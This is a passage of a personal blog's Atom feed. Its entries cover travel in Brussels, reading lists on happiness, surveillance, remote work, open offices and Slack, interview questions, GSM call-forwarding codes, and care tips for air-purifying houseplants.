&lt;li&gt;The Delirium Cafe is a must see, along with the Manneken Pis (the peeing kid statue), which is right by its side.&lt;/li&gt;
&lt;li&gt;The Grand Place is stunning, either at night or during the day. Old buildings surrounding an imposing square.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Travels"></category><category term="travel"></category><category term="belgium"></category><category term="brussels"></category></entry><entry><title>The Happy Life</title><link href="https://romainpellerin.eu/the-happy-life.html" rel="alternate"></link><published>2018-01-26T20:30:00+01:00</published><updated>2019-08-22T12:36:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-01-26:/the-happy-life.html</id><summary type="html">&lt;p&gt;How to live a happy life&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/7lECIsRif10" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://journal.thriveglobal.com/ikigai-the-japanese-secret-to-a-long-and-happy-life-might-just-help-you-live-a-more-fulfilling-9871d01992b7"&gt;Ikigai: The Japanese Secret to a Long and Happy Life Might Just Help You Live a More Fulfilling Life&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.genderbread.org/"&gt;The Genderbreak Person&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.developpez.com/actu/244511/Des-experts-font-la-promotion-de-la-semaine-de-travail-de-quatre-jours-au-lieu-de-cinq-pour-eux-cela-rendrait-les-travailleurs-plus-productifs/"&gt;Des experts font la promotion de la semaine de travail de quatre jours au lieu de cinq&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://usbeketrica.com/article/cyberminimalisme-temps-rencontres-biosphere"&gt;« Le cyberminimalisme libère du temps, réhabilite les rencontres, préserve la biosphère »&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vox.com/2019/3/27/18226563/50-years-wrong-side-of-history-future-prediction"&gt;Hindsight 2070: We asked 15 experts, “What do we do now that will be considered unthinkable in 50 years?” Here’s what they told us.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.demotivateur.fr/article-buzz/11-fruits-et-legumes-que-vous-ne-devriez-acheter-qu-une-seule-fois-dans-votre-vie-si-vous-apprenez-ces-petits-trucs-pour-les-regenerer-chez-vous--2972"&gt;Hackez votre supermarché : Voici 11 fruits et légumes que vous ne devriez acheter qu'une seule fois dans votre vie, si vous connaissez ces astuces !&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="ikigai"></category><category term="happiness"></category></entry><entry><title>Scary Future</title><link href="https://romainpellerin.eu/scary-future.html" rel="alternate"></link><published>2018-01-24T20:50:00+01:00</published><updated>2019-07-03T21:12:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-01-24:/scary-future.html</id><summary type="html">&lt;p&gt;Technologies that make the future scary&lt;/p&gt;</summary><content type="html">&lt;p&gt;Resources warning us about what to expect from the future.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://spectrum.ieee.org/tech-talk/consumer-electronics/audiovideo/your-candy-wrappers-are-listening"&gt;Your Candy Wrappers are Listening&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://theintercept.com/2018/01/19/voice-recognition-technology-nsa/"&gt;Finding Your Voice&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ha.x0r.be/posts/chrome-is-a-google-service/"&gt;Chrome is a Google Service that happens to include a Browser Engine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nytimes.com/2018/07/08/business/china-surveillance-technology.html"&gt;Inside China’s Dystopian Dreams: A.I., Shame and Lots of Cameras&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lyonmag.com/article/98529/grace-a-votre-telephone-collomb-sait-enfin-combien-de-visiteurs-ont-participe-a-la-fete-des-lumieres"&gt;Grâce à votre téléphone, Collomb sait enfin combien de visiteurs ont participé à la Fête des Lumières&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bloomberg.com/news/articles/2019-04-10/is-anyone-listening-to-you-on-alexa-a-global-team-reviews-audio"&gt;Amazon Workers Are Listening to What You Tell Alexa&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.phonandroid.com/non-chinois-pas-sonnerie-telephone-humiliante-quand-endettes.html"&gt;Non, les chinois n’ont pas de sonnerie de téléphone humiliante quand ils sont endettés&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.zdnet.com/article/amazon-confirms-alexa-customer-voice-recordings-are-kept-forever/"&gt;Amazon confirms Alexa customer voice recordings are kept forever&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;I can’t believe what I’m seeing! While running a facial recognition pilot, one man (understandably imho) covered himself up. The police forced him to show his face (&amp;amp; then fined him for disorderly conduct). This is dangerous &amp;amp; terrifying. &lt;a href="https://t.co/QdG2VPGyfE"&gt;pic.twitter.com/QdG2VPGyfE&lt;/a&gt;&lt;/p&gt;&amp;mdash; Jamie Bartlett (@JamieJBartlett) &lt;a href="https://twitter.com/JamieJBartlett/status/1128657365090361344?ref_src=twsrc%5Etfw"&gt;May 15, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;</content><category term="What's bad about"></category><category term="future"></category><category term="technology"></category></entry><entry><title>Remote Working</title><link href="https://romainpellerin.eu/remote-working.html" rel="alternate"></link><published>2018-01-22T22:20:00+01:00</published><updated>2020-03-16T11:14:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-01-22:/remote-working.html</id><summary type="html">&lt;p&gt;Resources on remote working&lt;/p&gt;</summary><content type="html">&lt;p&gt;I truly believe remote working has numerous advantages on the long term, but also downsizes. It is a matter of finding the right balance and making tradeoffs. Giving up on commuting is awesome, getting to see your family more as well. But pressure, stress and bad working conditions are things to consider... Here are a few resources on the topic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://hackernoon.com/the-stress-of-remote-working-38be5bdcf4da"&gt;The Stress of Remote Working&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.doist.com/how-we-manage-projects-on-a-fully-remote-team-7cabed2b03d9"&gt;How We Manage Projects on a Fully Remote Team&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=gSPVP0Bi7qA"&gt;Quand je serai grand je monterai une équipe full remote ! (Y. Brissaud)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.doist.com/mental-health-and-remote-work-1b77616f6945"&gt;What Most Remote Companies Don’t Tell You About Remote Work&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/amix3k/status/1103740848519434240"&gt;A thread on Twitter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://usefyi.com/remote-work-best-practices/"&gt;11 Best Practices for Working Remotely&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://info.trello.com/hubfs/Trello-Embrace-Remote-Work-Ultimate-Guide.pdf"&gt;How To Embrace Remote Work&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="What's bad about"></category><category term="remote working"></category><category term="job"></category></entry><entry><title>Hiring Interviews</title><link href="https://romainpellerin.eu/hiring-interviews.html" rel="alternate"></link><published>2018-01-03T22:50:00+01:00</published><updated>2020-09-21T11:52:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-01-03:/hiring-interviews.html</id><summary type="html">&lt;p&gt;What to ask during a hiring interview&lt;/p&gt;</summary><content type="html">&lt;p&gt;Every once in a while, people quit companies and start looking for others. They have to go through hiring processes all over again. This is usually time-consuming and not necessarily easy or pleasant. &lt;/p&gt;
&lt;p&gt;One of the things that I personally fear the most is forgetting to ask important questions during an interview. Some of them can even be game changers. So here is a list of all the useful ones one might want to ask:&lt;/p&gt;
&lt;h1 id="general-questions"&gt;General questions&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;How many employees? Are they full time/part time workers? Freelancers?&lt;/li&gt;
&lt;li&gt;Are standing desks promoted? Will I be able to get one?&lt;/li&gt;
&lt;li&gt;Open offices or closed offices? Can I switch from one environment to another one easily?&lt;/li&gt;
&lt;li&gt;Remote working allowed? Is it conditional? How often?&lt;/li&gt;
&lt;li&gt;Workstations: PC or Mac? Can I choose? Can I choose the brand and model? OS? Can I choose my OS? IDE most used? Can I choose my IDE?&lt;/li&gt;
&lt;li&gt;Do they do code reviews? How often? What is the process? How do they get code merged?&lt;/li&gt;
&lt;li&gt;Agile methodology?&lt;/li&gt;
&lt;li&gt;How many hours a week?&lt;/li&gt;
&lt;li&gt;Do they track their time? Ticket-based tracking? Jira? Redmine?&lt;/li&gt;
&lt;li&gt;Visual regression testing? Browserstack.com? Unit/functional/integration testing? What tools?&lt;/li&gt;
&lt;li&gt;Languages? Frameworks? Libraries?&lt;/li&gt;
&lt;li&gt;Can we dress as we please? (shorts in Summer?)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="specific-questions-for-french-companies"&gt;Specific questions for French companies&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Épargne salariale ? Prime d'intéressement ou de participation ?&lt;/li&gt;
&lt;li&gt;Mutuelle d'entreprise ? Prix ?&lt;/li&gt;
&lt;li&gt;Y a-t-il un comité d'entreprise ?&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="further-reading"&gt;Further reading&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://jvns.ca/blog/2013/12/30/questions-im-asking-in-interviews/"&gt;Questions I'm asking in interviews&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Jobs"></category><category term="interview"></category><category term="job"></category></entry><entry><title>Disabling Voicemail</title><link href="https://romainpellerin.eu/disabling-voicemail.html" rel="alternate"></link><published>2018-01-03T22:00:00+01:00</published><updated>2019-10-05T18:54:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-01-03:/disabling-voicemail.html</id><summary type="html">&lt;p&gt;How to disable your voicemail&lt;/p&gt;</summary><content type="html">&lt;p&gt;In many scenarios, calls are forwarded to your voicemail. You may want to disable it, or re-enable it.&lt;/p&gt;
&lt;h1 id="1-you-are-not-picking-up-the-phone-no-reply"&gt;1. You are not picking up the phone (no reply)&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Enable forwarding: call &amp;ast;&amp;ast;61&amp;ast;(number to forward to)&amp;ast;&amp;ast;(seconds to wait before forwarding)# - note that your phone will ring as long as your caller is on hold&lt;/li&gt;
&lt;li&gt;Disable it and retain: call #61#&lt;/li&gt;
&lt;li&gt;Disable it and forget: call ##61#&lt;/li&gt;
&lt;li&gt;Reestablish: &amp;ast;61#&lt;/li&gt;
&lt;li&gt;Check status: call &amp;ast;#61#&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="2-you-are-unreachable-plane-mode-phone-turned-off-no-connectivity"&gt;2. You are unreachable (plane mode, phone turned off, no connectivity)&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Enable forwarding: call &amp;ast;&amp;ast;62&amp;ast;(number to forward to)#&lt;/li&gt;
&lt;li&gt;Disable it and retain: call #62#&lt;/li&gt;
&lt;li&gt;Disable it and forget: call ##62#&lt;/li&gt;
&lt;li&gt;Reestablish: &amp;ast;62#&lt;/li&gt;
&lt;li&gt;Check status: call &amp;ast;#62#&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="3-you-are-already-on-the-phone-busy"&gt;3. You are already on the phone (busy)&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Enable forwarding: call &amp;ast;&amp;ast;67&amp;ast;(number to forward to)#&lt;/li&gt;
&lt;li&gt;Disable it and retain: call #67#&lt;/li&gt;
&lt;li&gt;Disable it and forget: call ##67#&lt;/li&gt;
&lt;li&gt;Reestablish: &amp;ast;67#&lt;/li&gt;
&lt;li&gt;Check status: &amp;ast;#67#&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="4-all-three-conditions-above"&gt;4. All three conditions above&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Enable forwarding: call &amp;ast;&amp;ast;004&amp;ast;(number to forward to)#&lt;/li&gt;
&lt;li&gt;Disable it and retain: call #004#&lt;/li&gt;
&lt;li&gt;Disable it and forget: call ##004#&lt;/li&gt;
&lt;li&gt;Reestablish: &amp;ast;004#&lt;/li&gt;
&lt;li&gt;Check status: &amp;ast;#004#&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="5-you-are-free-forward-all-incoming-calls"&gt;5. You are free, forward all incoming calls&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Enable forwarding: call &amp;ast;&amp;ast;21&amp;ast;(number to forward to)#&lt;/li&gt;
&lt;li&gt;Disable it and retain: call #21#&lt;/li&gt;
&lt;li&gt;Disable it and forget: call ##21#&lt;/li&gt;
&lt;li&gt;Reestablish: &amp;ast;21#&lt;/li&gt;
&lt;li&gt;Check status: &amp;ast;#21#&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="6-all-four-conditions-above"&gt;6. All four conditions above&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Enable forwarding: call &amp;ast;&amp;ast;002&amp;ast;(number to forward to)#&lt;/li&gt;
&lt;li&gt;Disable it and retain: call #002#&lt;/li&gt;
&lt;li&gt;Disable it and forget: call ##002#&lt;/li&gt;
&lt;li&gt;Reestablish: &amp;ast;002#&lt;/li&gt;
&lt;li&gt;Check status: &amp;ast;#002#&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="7-call-waiting-make-your-phone-ring-for-new-incoming-phones-even-if-you-are-alreay-on-the-phone"&gt;7. Call waiting: make your phone ring for new incoming phones even if you are alreay on the phone&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Enable call waiting: call &amp;ast;43#&lt;/li&gt;
&lt;li&gt;Disable it: call #43#&lt;/li&gt;
&lt;li&gt;Check status: &amp;ast;#43#&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="complementary-information"&gt;Complementary information&lt;/h1&gt;
&lt;p&gt;In France, for mobile network provider 'Free mobile', the voicemail phone number is: 06 95 60 00 11.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://community.giffgaff.com/t5/Tips-Guides/Turn-off-voicemail-more-handy-codes/td-p/4542132"&gt;More GSM codes here&lt;/a&gt; and &lt;a href="https://en.wikipedia.org/wiki/Call_forwarding"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="tips"&gt;Tips&lt;/h1&gt;
&lt;p&gt;To call someone anonymously, type: #31#(the number you are calling). To show your identity, type: &amp;ast;31#(the number you are calling).&lt;/p&gt;</content><category term="Miscellaneous"></category><category term="phone"></category><category term="voicemail"></category></entry><entry><title>Open Offices</title><link href="https://romainpellerin.eu/open-offices.html" rel="alternate"></link><published>2017-11-04T13:40:00+01:00</published><updated>2019-10-04T23:54:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-11-04:/open-offices.html</id><summary type="html">&lt;p&gt;Open offices are a pain in the ass&lt;/p&gt;</summary><content type="html">&lt;p&gt;I might talk about it some day... meanwhile here are a few links.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.newyorker.com/business/currency/the-open-office-trap"&gt;The Open-Office Trap&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.doist.com/focused-teamwork-8ed325d34e62"&gt;Why “deep work” is becoming a competitive advantage for companies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://dev.howtommy.net/index.php?d=2019/02/25/09/53/57-journee-de-travail-ou-journee-au-travail"&gt;Journée de travail, ou journée au travail ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bfmbusiness.bfmtv.com/france/l-open-space-est-il-l-arnaque-du-xxeme-siecle-1603225.html"&gt;L’open space est-il l’arnaque du XXeme siècle ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.weforum.org/agenda/2018/11/open-plan-offices-make-workers-less-collaborative-harvard-study-finds"&gt;Open-plan offices make workers less collaborative, Harvard study finds&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qz.com/work/1685084/how-to-focus-in-an-open-office/"&gt;How my colleagues and I stay sane in our open office&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nytimes.com/2019/09/25/opinion/wework-adam-neumann.html#click=https://t.co/zaTkPdbxWK"&gt;Open Offices Are a Capitalist Dead End&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="What's bad about"></category><category term="open office"></category></entry><entry><title>Slack</title><link href="https://romainpellerin.eu/slack.html" rel="alternate"></link><published>2017-11-04T13:40:00+01:00</published><updated>2019-01-25T13:44:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-11-04:/slack.html</id><summary type="html">&lt;p&gt;Slack is evil&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Draft article&lt;/em&gt;&lt;/p&gt;
&lt;h1 id="raw-thoughts"&gt;Raw thoughts&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;The online presence indicator is a nightmare&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Same goes for notifications&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://blog.doist.com/why-were-betting-against-real-time-team-messaging-521804a3da09"&gt;Why we’re betting against real-time team messaging&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ux.useronboard.com/slack-i-m-breaking-up-with-you-54600ace03ea"&gt;Slack, I’m Breaking Up with You&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.agilebits.com/2016/04/19/curing-our-slack-addiction/"&gt;Curing Our Slack Addiction &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.doist.com/focused-teamwork-8ed325d34e62"&gt;Why “deep work” is becoming a competitive advantage for companies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.numerama.com/tech/337732-les-nouveaux-outils-de-slack-un-espion-au-service-des-patrons.html"&gt;Les nouveaux outils de Slack : un espion au service des patrons ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://m.signalvnoise.com/is-group-chat-making-you-sweat/"&gt;Is group chat making you sweat?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="What's bad about"></category><category term="slack"></category></entry><entry><title>A Sedentary Life</title><link href="https://romainpellerin.eu/a-sedentary-life.html" rel="alternate"></link><published>2017-10-04T23:40:00+02:00</published><updated>2024-06-18T17:57:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-10-04:/a-sedentary-life.html</id><summary type="html">&lt;p&gt;Sitting is the new smoking&lt;/p&gt;</summary><content type="html">&lt;p&gt;I might talk about it some day... meanwhile here are a few links.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://sydneycorporateyoga.com/wp-content/uploads/2014/02/Sitting.jpg"&gt;Don't just sit there&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://elth.co/sedentary-lifestyle-killing/"&gt;How Your Sedentary Lifestyle is Killing You&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theatlantic.com/health/archive/2014/06/calories-are-out/372690/"&gt;Forget Calories&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/the-mission/if-you-dont-want-to-regret-your-life-30-years-later-make-this-one-choice-right-now-1cc137516df0"&gt;If You Don’t Want To Regret Your Life 30 Years Later, Make This One Choice Right Now&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.theguardian.com/news/2019/jan/03/why-exercise-alone-wont-save-us"&gt;Why exercise alone won’t save us&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=hk1ZlXMuG5Q"&gt;Les conséquences de la sédentarité et de l'inactivité physique - 36.9°&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=eVvgNe7hG6I"&gt;Sédentarité et inactivité physique quelles conséquences ? | RTS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=nsb0dJJ9tzU"&gt;À vos marques, prêts, bougez - Le sport c’est la santé Documentaire | ARTE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=KzP4Fnt4n7k"&gt;Sport : le meilleur des remèdes - État de santé - Élizabeth Martichoux - LCP Assemblée nationale&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="What's bad about"></category><category term="sitting"></category></entry><entry><title>Living In Paris: Air Purifying Houseplants</title><link href="https://romainpellerin.eu/living-in-paris-air-purifying-houseplants.html" rel="alternate"></link><published>2017-09-28T12:50:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-09-28:/living-in-paris-air-purifying-houseplants.html</id><summary type="html">&lt;p&gt;How to purify air using houseplants... or how to pretend you breath purified air.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Recently, I moved into my new apartment, in one of the most polluted cities on Earth, Paris. Therefore I decided I needed houseplants to clean the air. What an idea! Is it bullshit? Does it actually work? Who cares?! As long as it makes my apartment look cool!&lt;/p&gt;
&lt;p&gt;Consequently, I started googling about evergreen houseplants that clean the air. I ended up buying the following plants:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="http://www.plantes-depolluantes.com/_plantes/spathiphyllum.php"&gt;Spathiphyllum&lt;/a&gt;&lt;/strong&gt;: the best at improving indoor air quality!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="http://www.plantes-depolluantes.com/_plantes/aglaonema.php"&gt;Aglaonema Silver Bay&lt;/a&gt;&lt;/strong&gt;: the plant from the movie &lt;em&gt;Leon: The Professional&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="http://www.plantes-depolluantes.com/_plantes/dracaena_marginata.php"&gt;Dracaena Marginata&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dieffenbachia&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="http://www.plantes-depolluantes.com/_plantes/chlorophytum.php"&gt;Chlorophytum&lt;/a&gt;&lt;/strong&gt; (comosum? no sure about its species)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="aglaonema"&gt;Aglaonema&lt;/h1&gt;
&lt;figure class="center"&gt;&lt;img src="https://romainpellerin.eu/images/air-purifying-houseplants/aglaonema.jpg" alt="Aglaonema Silver Bay" /&gt;&lt;figcaption&gt;Aglaonema Silver Bay, the big one on the left.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h2 id="temperature"&gt;Temperature&lt;/h2&gt;
&lt;p&gt;Between 15°C and 25°C. Cannot tolerate below 13.&lt;/p&gt;
&lt;h2 id="light"&gt;Light&lt;/h2&gt;
&lt;p&gt;300 lux, half shadow, must get sun light a few hours per day (no direct sunlignt though).&lt;/p&gt;
&lt;h2 id="watering"&gt;Watering&lt;/h2&gt;
&lt;p&gt;Soil should be kept moist at all times. Don't allow it to dry otherwise it can cause leaves to drop. In summer, water twice a week. In winter, once. Don't leave standing water in the saucer.&lt;/p&gt;
&lt;h2 id="repotting"&gt;Repotting&lt;/h2&gt;
&lt;p&gt;Repotting is from March to May, every 2 to 3 years. For an old Aglaonema, just replace the upper layer of the soil, do not repot.&lt;/p&gt;
&lt;h2 id="complementary-information"&gt;Complementary information&lt;/h2&gt;
&lt;p&gt;Leaves and fruits are toxic for humans and pets.&lt;/p&gt;
&lt;h1 id="dracaena-marginata"&gt;Dracaena Marginata&lt;/h1&gt;
&lt;h2 id="temperature_1"&gt;Temperature&lt;/h2&gt;
&lt;p&gt;Between 15°C and 22°C. Avoid below 15 (won't grow otherwise). Below 10 could damage it. Best between 20 and 22.&lt;/p&gt;
&lt;h2 id="light_1"&gt;Light&lt;/h2&gt;
&lt;p&gt;500 lux, quite a log of light. Avoid too much direct sun light. It does not like absence of light.&lt;/p&gt;
&lt;h2 id="watering_1"&gt;Watering&lt;/h2&gt;
&lt;p&gt;Soil must remain hardly moist. Once a week in Summer, twice a month in Winter. Mist the leaves twice a week also, if possible.&lt;/p&gt;
&lt;h2 id="repotting_1"&gt;Repotting&lt;/h2&gt;
&lt;p&gt;Repotting is from March to May, every 2 to 3 years. Every other year, replace the upper layer of the soil, do not repot.&lt;/p&gt;
&lt;h1 id="spathiphyllum"&gt;Spathiphyllum&lt;/h1&gt;
&lt;figure class="center"&gt;&lt;img src="https://romainpellerin.eu/images/air-purifying-houseplants/dracaena-dieffenbachia-spathiphyllum-anthurium.jpg" alt="Dracaena, Dieffenbachia Spathiphyllum and Anthurium" /&gt;&lt;figcaption&gt;From left to right: Dracaena Marginata, Dieffenbachia, Spathiphyllum and Anthurium&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h2 id="temperature_2"&gt;Temperature&lt;/h2&gt;
&lt;p&gt;Between 15°C and 25°C. Below 10 could damage it seriously. Best between 20 and 22.&lt;/p&gt;
&lt;h2 id="light_2"&gt;Light&lt;/h2&gt;
&lt;p&gt;A significant amount (300 lux at least) but no direct sun though. Dim light is OK.&lt;/p&gt;
&lt;h2 id="watering_2"&gt;Watering&lt;/h2&gt;
&lt;p&gt;Once a week, a lot. Don't leave standing water! Reduce the amount of water in winter.&lt;/p&gt;
&lt;h2 id="repotting_2"&gt;Repotting&lt;/h2&gt;
&lt;p&gt;In March, every two to three years. When not repotting, replace the upper layer of the soil.&lt;/p&gt;
&lt;h2 id="complementary-information_1"&gt;Complementary information&lt;/h2&gt;
&lt;p&gt;Avoid dry air as well as fresh air flows. Keep it away from heaters.&lt;/p&gt;
&lt;p&gt;To foster blossoming, deprive the plant of water for a few days.&lt;/p&gt;
&lt;h1 id="chlorophytum"&gt;Chlorophytum&lt;/h1&gt;
&lt;figure class="center"&gt;&lt;img src="https://romainpellerin.eu/images/air-purifying-houseplants/chlorophytum.jpg" alt="Chlorophytum" /&gt;&lt;figcaption&gt;Chlorophytum&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h2 id="temperature_3"&gt;Temperature&lt;/h2&gt;
&lt;p&gt;10 to 20°C. Don't go below 5.&lt;/p&gt;
&lt;h2 id="light_3"&gt;Light&lt;/h2&gt;
&lt;p&gt;A lot! 600 lux at least. No direct sun light.&lt;/p&gt;
&lt;h2 id="watering_3"&gt;Watering&lt;/h2&gt;
&lt;p&gt;Once a week, twice if the environment is quite hot or luminous. Don't leave standing water. The plant likes moisture. Reduce watering in winter.&lt;/p&gt;
&lt;h2 id="repotting_3"&gt;Repotting&lt;/h2&gt;
&lt;p&gt;Every year in March or April, in a slightly bigger pot.&lt;/p&gt;
&lt;h2 id="complementary-information_2"&gt;Complementary information&lt;/h2&gt;
&lt;p&gt;If possible, use good quality soil.&lt;/p&gt;
&lt;p&gt;Also, cut off dead parts of leaves (not the whole leaf).&lt;/p&gt;
&lt;h1 id="dieffenbachia"&gt;Dieffenbachia&lt;/h1&gt;
&lt;h2 id="temperature_4"&gt;Temperature&lt;/h2&gt;
&lt;p&gt;18°C to 24°C in Summer and 15 to 18 in Winter. Keep away from heaters, the plant likes moisture. Keep away from air flows.&lt;/p&gt;
&lt;h2 id="light_4"&gt;Light&lt;/h2&gt;
&lt;p&gt;A significant amount but no direct light.&lt;/p&gt;
&lt;h2 id="watering_4"&gt;Watering&lt;/h2&gt;
&lt;p&gt;Once a week. Don't leave standing water. Reduce watering in Winter.&lt;/p&gt;
&lt;h2 id="repotting_4"&gt;Repotting&lt;/h2&gt;
&lt;p&gt;Every other year in March or April, in a bigger pot.&lt;/p&gt;
&lt;h2 id="complementary-information_3"&gt;Complementary information&lt;/h2&gt;
&lt;p&gt;Leaves are poisonous.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Hope this helps, folks!&lt;/p&gt;
&lt;h1 id="resources"&gt;Resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Good source of information, in French: &lt;a href="http://www.jardiner-malin.fr/"&gt;http://www.jardiner-malin.fr/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Great article in French, very helpful to me: &lt;a href="https://www.rustica.fr/articles-jardin/24-plantes-depolluantes-qui-ameliorent-votre-maison,2136.html"&gt;24 plantes dépolluantes qui améliorent votre maison&lt;/a&gt;&lt;/li&gt;
